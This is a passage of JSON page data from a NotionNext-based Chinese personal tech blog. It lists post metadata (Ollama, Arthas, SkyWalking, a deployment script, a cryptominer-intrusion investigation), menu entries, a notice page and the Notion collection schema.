-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":"","blockMap":{"block":{"f53bfc30-59bb-4890-ba28-0b045040aa5e":{"value":{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","version":3,"type":"page","content":["ed131e31-8c4e-4a1d-ab1c-e0413305a17c","0594fd5d-89de-4d48-a947-800290cd93ea","7f67629a-0082-4473-928f-d31d356b7841","c1ecbb45-e326-47ea-8556-c7d10bb170ed","f3004e35-d892-4b8c-b6d4-5509025ab04c","470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5","26b17beb-0524-4379-8298-b4058fc13093"],"format":{"page_font":"mono","page_icon":"📔","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"cd84cb1a-43d2-4f24-94d2-fa6fc58f8032","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337114,"last_edited_time":1705594715186,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"cd84cb1a-43d2-4f24-94d2-fa6fc58f8032","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"ed131e31-8c4e-4a1d-ab1c-e0413305a17c":{"value":{"id":"ed131e31-8c4e-4a1d-ab1c-e0413305a17c","type":"text","properties":{"title":[["🎉talk is cheap🎉\n🎉show me the code🎉",[["b"]]]]},"format":{"copied_from_pointer":{"id":"7ca584a8-83fa-4b0c-a4a9-82b7507c6069","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"7ca584a8-83fa-4b0c-a4a9-82b7507c6069"}},"0594fd5d-89de-4d48-a947-800290cd93ea":{"value":{"id":"0594fd5d-89de-4d48-a947-800290cd93ea","type":"text","properties":{"title":[["-- 感谢您的支持 ---",[["b"]]]]},"format":{"copied_from_pointer":{"id":"e1fa5279-d750-453f-8f4d-4c007cf67e21","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337141,"last_edited_time":1705594337141,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"e1fa5279-d750-453f-8f4d-4c007cf67e21"}},"7f67629a-0082-4473-928f-d31d356b7841":{"value":{"id":"7f67629a-0082-4473-928f-d31d356b7841","type":"text","properties":{"title":[["👏欢迎更新体验👏"]]},"format":{"copied_from_pointer":{"id":"7d7f1ca5-6b68-4fdd-b258-84e9ad3eccfa","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"7d7f1ca5-6b68-4fdd-b258-84e9ad3eccfa"}},"c1ecbb45-e326-47ea-8556-c7d10bb170ed":{"value":{"id":"c1ecbb45-e326-47ea-8556-c7d10bb170ed","type":"text","properties":{"title":[["操作手册",[["a","https://docs.tangly1024.com/about"]]]]},"format":{"copied_from_pointer":{"id":"c7110842-38fd-4b6a-b7f2-7e3c39374b63","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"c7110842-38fd-4b6a-b7f2-7e3c39374b63"}},"f3004e35-d892-4b8c-b6d4-5509025ab04c":{"value":{"id":"f3004e35-d892-4b8c-b6d4-5509025ab04c","type":"text","properties":{"title":[["更新记录",[["a","https://docs.tangly1024.com/article/latest"]]]]},"format":{"copied_from_pointer":{"id":"2c16e0df-7a5c-4c27-b988-750e31a64f8e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"2c16e0df-7a5c-4c27-b988-750e31a64f8e"}},"470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5":{"value":{"id":"470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5","type":"text","properties":{"title":[["联系我们",[["a","https://docs.tangly1024.com/article/how-to-question"]]]]},"format":{"copied_from_pointer":{"id":"a53bc851-e8ad-46d8-9bcf-f0a56e09fead","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"a53bc851-e8ad-46d8-9bcf-f0a56e09fead"}},"26b17beb-0524-4379-8298-b4058fc13093":{"value":{"id":"26b17beb-0524-4379-8298-b4058fc13093","type":"text","format":{"copied_from_pointer":{"id":"f383db66-f540-46a4-97db-3da46eff223c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337141,"last_edited_time":1705594337141,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"f383db66-f540-46a4-97db-3da46eff223c"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-